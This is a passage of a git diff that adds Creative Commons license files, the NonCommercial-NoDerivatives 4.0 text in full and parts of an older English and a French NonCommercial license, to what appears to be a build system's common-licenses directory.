+This License lasts for the duration of the term of the copyright in the Work licensed by the Licensor. The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats, but otherwise you have no rights to make Adaptations. All rights not expressly granted by the Licensor are hereby reserved, including but not limited to the rights set forth in Section 4(d).
+
+4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work (see section 8(a)). You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from a Licensor You must, to the extent practicable, remove from the Collection any credit (inclusive of any logo, trademark, official mark or official emblem) as required by Section 4(c), as requested.
+
+ b. You may not exercise any of the rights granted to You in Section 3 above in any manner that is primarily intended for or directed toward commercial advantage or private monetary compensation. The exchange of the Work for other copyrighted works by means of digital file-sharing or otherwise shall not be considered to be primarily intended for or directed toward commercial advantage or private monetary compensation, provided there is no payment of any monetary compensation in connection with the exchange of copyrighted works.
+
+ c. If You Distribute, or Publicly Perform the Work or any Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) any attributions that the Licensor indicates be associated with the Work as indicated in a copyright notice, (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that the Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work. The credit required by this Section 4(c) may be implemented in any reasonable manner; provided, however, that in the case of a Collection, at a minimum such credit will appear, if a credit for all contributors to the Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Licensor or others designated for attribution, of You or Your use of the Work, without the separate, express prior written permission of the Licensor or such others.
+
+ d. For the avoidance of doubt:
+
+ i. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
+
+ ii. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License if Your exercise of such rights is for a purpose or use which is otherwise than noncommercial as permitted under Section 4(b) and otherwise waives the right to collect royalties through any statutory or compulsory licensing scheme; and,
+
+ iii. Voluntary License Schemes. To the extent possible, the Licensor waives the right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary licensing scheme. In all other cases the Licensor expressly reserves the right to collect such royalties.
+
+ e. Except as otherwise agreed in writing by the Licensor, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the honor or reputation of the Licensor where moral rights apply.
+
+5. Representations, Warranties and Disclaimer
+
+THE LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE.
+
+6. Limitation on Liability
+
+IN NO EVENT WILL THE LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF THE LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. Termination
+
+ a. Subject to the terms and conditions set forth in this License, the license granted here lasts for the duration of the term of the copyright in the Work licensed by the Licensor as stated in Section 3. Notwithstanding the above, the Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated below.
+
+ b. If You fail to comply with this License, then this License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License. Notwithstanding the foregoing, this License reinstates automatically as of the date the violation is cured, provided it is cured within 30 days of You discovering the violation, or upon express reinstatement by the Licensor. For the avoidance of doubt, this Section 7(b) does not affect any rights the Licensor may have to seek remedies for violations of this License by You.
+
+8. Miscellaneous
+
+ a. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
+
+ b. If any provision of this License is invalid or unenforceable, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ c. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the Licensor.
+
+ d. This License constitutes the entire agreement between You and the Licensor with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. The Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
+
+ e. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). Interpretation of the scope of the rights granted by the Licensor and the conditions imposed on You under this License, this License, and the rights and conditions set forth herein shall be made with reference to copyright as determined in accordance with general principles of international law, including the above mentioned conventions.
+
+ f. Nothing in this License constitutes or may be interpreted as a limitation upon or waiver of any privileges and immunities that may apply to the Licensor or You, including immunity from the legal processes of any jurisdiction, national court or other authority.
+
+ g. Where the Licensor is an IGO, any and all disputes arising under this License that cannot be settled amicably shall be resolved in accordance with the following procedure:
+
+ i. Pursuant to a notice of mediation communicated by reasonable means by either You or the Licensor to the other, the dispute shall be submitted to non-binding mediation conducted in accordance with rules designated by the Licensor in the copyright notice published with the Work, or if none then in accordance with those communicated in the notice of mediation. The language used in the mediation proceedings shall be English unless otherwise agreed.
+
+ ii. If any such dispute has not been settled within 45 days following the date on which the notice of mediation is provided, either You or the Licensor may, pursuant to a notice of arbitration communicated by reasonable means to the other, elect to have the dispute referred to and finally determined by arbitration. The arbitration shall be conducted in accordance with the rules designated by the Licensor in the copyright notice published with the Work, or if none then in accordance with the UNCITRAL Arbitration Rules as then in force. The arbitral tribunal shall consist of a sole arbitrator and the language of the proceedings shall be English unless otherwise agreed. The place of arbitration shall be where the Licensor has its headquarters. The arbitral proceedings shall be conducted remotely (e.g., via telephone conference or written submissions) whenever practicable.
+
+ iii. Interpretation of this License in any dispute submitted to mediation or arbitration shall be as set forth in Section 8(e), above.
+
+Creative Commons Notice
+
+Creative Commons is not a party to this License, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of the Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, Creative Commons does not authorize the use by either party of the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time. For the avoidance of doubt, this trademark restriction does not form part of this License.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-ND-4.0 b/meta/files/common-licenses/CC-BY-NC-ND-4.0
new file mode 100644
index 0000000000..6f2a684c1a
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-ND-4.0
@@ -0,0 +1,155 @@
+Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ c. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ d. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ e. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ f. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ g. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ h. NonCommercial means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange.
+
+ i. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ j. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ k. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and
+
+ B. produce and reproduce, but not Share, Adapted Material for NonCommercial purposes only.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+ b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material, You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ For the avoidance of doubt, You do not have permission under this Public License to Share Adapted Material.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only and provided You do not Share Adapted Material;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-2.0-FR b/meta/files/common-licenses/CC-BY-NC-SA-2.0-FR
new file mode 100644
index 0000000000..9f7f9103ea
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-2.0-FR
@@ -0,0 +1,93 @@
+Creative Commons Paternité - Pas d'Utilisation Commerciale - Partage Des Conditions Initiales A l'Identique 2.0
+
+ Creative Commons n'est pas un cabinet d'avocats et ne fournit pas de services de conseil juridique. La distribution de la présente version de ce contrat ne crée aucune relation juridique entre les parties au contrat présenté ci-après et Creative Commons. Creative Commons fournit cette offre de contrat-type en l'état, à seule fin d'information. Creative Commons ne saurait être tenu responsable des éventuels préjudices résultant du contenu ou de l'utilisation de ce contrat.
+
+Contrat
+
+L'Oeuvre (telle que définie ci-dessous) est mise à disposition selon les termes du présent contrat appelé Contrat Public Creative Commons (dénommé ici « CPCC » ou « Contrat »). L'Oeuvre est protégée par le droit de la propriété littéraire et artistique (droit d'auteur, droits voisins, droits des producteurs de bases de données) ou toute autre loi applicable. Toute utilisation de l'Oeuvre autrement qu'explicitement autorisée selon ce Contrat ou le droit applicable est interdite.
+
+L'exercice sur l'Oeuvre de tout droit proposé par le présent contrat vaut acceptation de celui-ci. Selon les termes et les obligations du présent contrat, la partie Offrante propose à la partie Acceptante l'exercice de certains droits présentés ci-après, et l'Acceptant en approuve les termes et conditions d'utilisation.
+
+1. Définitions
+
+ a. « Oeuvre » : oeuvre de l'esprit protégeable par le droit de la propriété littéraire et artistique ou toute loi applicable et qui est mise à disposition selon les termes du présent Contrat.
+
+ b. « Oeuvre dite Collective » : une oeuvre dans laquelle l'oeuvre, dans sa forme intégrale et non modifiée, est assemblée en un ensemble collectif avec d'autres contributions qui constituent en elles-mêmes des oeuvres séparées et indépendantes. Constituent notamment des Oeuvres dites Collectives les publications périodiques, les anthologies ou les encyclopédies. Aux termes de la présente autorisation, une oeuvre qui constitue une Oeuvre dite Collective ne sera pas considérée comme une Oeuvre dite Dérivée (telle que définie ci-après).
+
+ c. « Oeuvre dite Dérivée » : une oeuvre créée soit à partir de l'Oeuvre seule, soit à partir de l'Oeuvre et d'autres oeuvres préexistantes. Constituent notamment des Oeuvres dites Dérivées les traductions, les arrangements musicaux, les adaptations théâtrales, littéraires ou cinématographiques, les enregistrements sonores, les reproductions par un art ou un procédé quelconque, les résumés, ou toute autre forme sous laquelle l'Oeuvre puisse être remaniée, modifiée, transformée ou adaptée, à l'exception d'une oeuvre qui constitue une Oeuvre dite Collective. Une Oeuvre dite Collective ne sera pas considérée comme une Oeuvre dite Dérivée aux termes du présent Contrat. Dans le cas où l'Oeuvre serait une composition musicale ou un enregistrement sonore, la synchronisation de l'oeuvre avec une image animée sera considérée comme une Oeuvre dite Dérivée pour les propos de ce Contrat.
+
+ d. « Auteur original » : la ou les personnes physiques qui ont créé l'Oeuvre.
+
+ e. « Offrant » : la ou les personne(s) physique(s) ou morale(s) qui proposent la mise à disposition de l'Oeuvre selon les termes du présent Contrat.
+
+ f. « Acceptant » : la personne physique ou morale qui accepte le présent contrat et exerce des droits sans en avoir violé les termes au préalable ou qui a reçu l'autorisation expresse de l'Offrant d'exercer des droits dans le cadre du présent contrat malgré une précédente violation de ce contrat.
+
+ g. « Options du Contrat » : les attributs génériques du Contrat tels qu'ils ont été choisis par l'Offrant et indiqués dans le titre de ce Contrat : Paternité - Pas d'Utilisation Commerciale - Partage Des Conditions Initiales A l'Identique.
+
+2. Exceptions aux droits exclusifs. Aucune disposition de ce contrat n'a pour intention de réduire, limiter ou restreindre les prérogatives issues des exceptions aux droits, de l'épuisement des droits ou d'autres limitations aux droits exclusifs des ayants droit selon le droit de la propriété littéraire et artistique ou les autres lois applicables.
+
+3. Autorisation. Soumis aux termes et conditions définis dans cette autorisation, et ceci pendant toute la durée de protection de l'Oeuvre par le droit de la propriété littéraire et artistique ou le droit applicable, l'Offrant accorde à l'Acceptant l'autorisation mondiale d'exercer à titre gratuit et non exclusif les droits suivants :
+
+ a. reproduire l'Oeuvre, incorporer l'Oeuvre dans une ou plusieurs Oeuvres dites Collectives et reproduire l'Oeuvre telle qu'incorporée dans lesdites Oeuvres dites Collectives;
+
+ b. créer et reproduire des Oeuvres dites Dérivées;
+
+ c. distribuer des exemplaires ou enregistrements, présenter, représenter ou communiquer l'Oeuvre au public par tout procédé technique, y compris incorporée dans des Oeuvres Collectives;
+
+ d. distribuer des exemplaires ou phonogrammes, présenter, représenter ou communiquer au public des Oeuvres dites Dérivées par tout procédé technique;
+
+ e. lorsque l'Oeuvre est une base de données, extraire et réutiliser des parties substantielles de l'Oeuvre.
+
+Les droits mentionnés ci-dessus peuvent être exercés sur tous les supports, médias, procédés techniques et formats. Les droits ci-dessus incluent le droit d'effectuer les modifications nécessaires techniquement à l'exercice des droits dans d'autres formats et procédés techniques. L'exercice de tous les droits qui ne sont pas expressément autorisés par l'Offrant ou dont il n'aurait pas la gestion demeure réservé, notamment les mécanismes de gestion collective obligatoire applicables décrits à l'article 4(e).
+
+4. Restrictions. L'autorisation accordée par l'article 3 est expressément assujettie et limitée par le respect des restrictions suivantes :
+
+
+ a. L'Acceptant peut reproduire, distribuer, représenter ou communiquer au public l'Oeuvre y compris par voie numérique uniquement selon les termes de ce Contrat. L'Acceptant doit inclure une copie ou l'adresse Internet (Identifiant Uniforme de Ressource) du présent Contrat à toute reproduction ou enregistrement de l'Oeuvre que l'Acceptant distribue, représente ou communique au public y compris par voie numérique. L'Acceptant ne peut pas offrir ou imposer de conditions d'utilisation de l'Oeuvre qui altèrent ou restreignent les termes du présent Contrat ou l'exercice des droits qui y sont accordés au bénéficiaire. L'Acceptant ne peut pas céder de droits sur l'Oeuvre. L'Acceptant doit conserver intactes toutes les informations qui renvoient à ce Contrat et à l'exonération de responsabilité. L'Acceptant ne peut pas reproduire, distribuer, représenter ou communiquer au public l'Oeuvre, y compris par voie numérique, en utilisant une mesure technique de contrôle d'accès ou de contrôle d'utilisation qui serait contradictoire avec les termes de cet Accord contractuel. Les mentions ci-dessus s'appliquent à l'Oeuvre telle qu'incorporée dans une Oeuvre dite Collective, mais, en dehors de l'Oeuvre en elle-même, ne soumettent pas l'Oeuvre dite Collective, aux termes du présent Contrat. Si l'Acceptant crée une Oeuvre dite Collective, à la demande de tout Offrant, il devra, dans la mesure du possible, retirer de l'Oeuvre dite Collective toute référence au dit Offrant, comme demandé. Si l'Acceptant crée une Oeuvre dite Collective, à la demande de tout Auteur, il devra, dans la mesure du possible, retirer de l'Oeuvre dite Collective toute référence au dit Auteur, comme demandé. Si l'Acceptant crée une Oeuvre dite Dérivée, à la demande de tout Offrant, il devra, dans la mesure du possible, retirer de l'Oeuvre dite Dérivée toute référence au dit Offrant, comme demandé. Si l'Acceptant crée une Oeuvre dite Dérivée, à la demande de tout Auteur, il devra, dans la mesure du possible, retirer de l'Oeuvre dite Dérivée toute référence au dit Auteur, comme demandé.
+
+ b. L'Acceptant peut reproduire, distribuer, représenter ou communiquer au public une Oeuvre dite Dérivée y compris par voie numérique uniquement sous les termes de ce Contrat, ou d'une version ultérieure de ce Contrat comprenant les mêmes Options du Contrat que le présent Contrat, ou un Contrat Creative Commons iCommons comprenant les mêmes Options du Contrat que le présent Contrat (par exemple Paternité - Pas d'Utilisation Commerciale - Partage Des Conditions Initiales A l'Identique 2.0 Japon). L'Acceptant doit inclure une copie ou l'adresse Internet (Identifiant Uniforme de Ressource) du présent Contrat, ou d'un autre Contrat tel que décrit à la phrase précédente, à toute reproduction ou enregistrement de l'Oeuvre dite Dérivée que l'Acceptant distribue, représente ou communique au public y compris par voie numérique. L'Acceptant ne peut pas offrir ou imposer de conditions d'utilisation sur l'Oeuvre dite Dérivée qui altèrent ou restreignent les termes du présent Contrat ou l'exercice des droits qui y sont accordés au bénéficiaire, et doit conserver intactes toutes les informations qui renvoient à ce Contrat et à l'avertissement sur les garanties. L'Acceptant ne peut pas reproduire, distribuer, représenter ou communiquer au public y compris par voie numérique l'Oeuvre dite Dérivée en utilisant une mesure technique de contrôle d'accès ou de contrôle d'utilisation qui serait contradictoire avec les termes de cet Accord contractuel. Les mentions ci-dessus s'appliquent à l'Oeuvre dite Dérivée telle qu'incorporée dans une Oeuvre dite Collective, mais, en dehors de l'Oeuvre dite Dérivée en elle-même, ne soumettent pas l'Oeuvre Collective, aux termes du présent Contrat.
+
+ c. L'Acceptant ne peut exercer aucun des droits conférés par l'article 3 avec l'intention ou l'objectif d'obtenir un profit commercial ou une compensation financière personnelle. L'échange de l'Oeuvre avec d'autres Oeuvres protégées par le droit de la propriété littéraire et artistique par le partage électronique de fichiers, ou par tout autre moyen, n'est pas considéré comme un échange avec l'intention ou l'objectif d'un profit commercial ou d'une compensation financière personnelle, dans la mesure où aucun paiement ou compensation financière n'intervient en relation avec l'échange d'Oeuvres protégées.
+
+ d. Si l'Acceptant reproduit, distribue, représente ou communique au public, y compris par voie numérique, l'Oeuvre ou toute Oeuvre dite Dérivée ou toute Oeuvre dite Collective, il doit conserver intactes toutes les informations sur le régime des droits et en attribuer la paternité à l'Auteur Original, de manière raisonnable au regard au médium ou au moyen utilisé. Il doit communiquer le nom de l'Auteur Original ou son éventuel pseudonyme s'il est indiqué ; le titre de l'Oeuvre Originale s'il est indiqué ; dans la mesure du possible, l'adresse Internet ou Identifiant Uniforme de Ressource (URI), s'il existe, spécifié par l'Offrant comme associé à l'Oeuvre, à moins que cette adresse ne renvoie pas aux informations légales (paternité et conditions d'utilisation de l'Oeuvre). Dans le cas d'une Oeuvre dite Dérivée, il doit indiquer les éléments identifiant l'utilisation l'Oeuvre dans l'Oeuvre dite Dérivée par exemple « Traduction anglaise de l'Oeuvre par l'Auteur Original » ou « Scénario basé sur l'Oeuvre par l'Auteur Original ». Ces obligations d'attribution de paternité doivent être exécutées de manière raisonnable. Cependant, dans le cas d'une Oeuvre dite Dérivée ou d'une Oeuvre dite Collective, ces informations doivent, au minimum, apparaître à la place et de manière aussi visible que celles à laquelle apparaissent les informations de même nature.
+
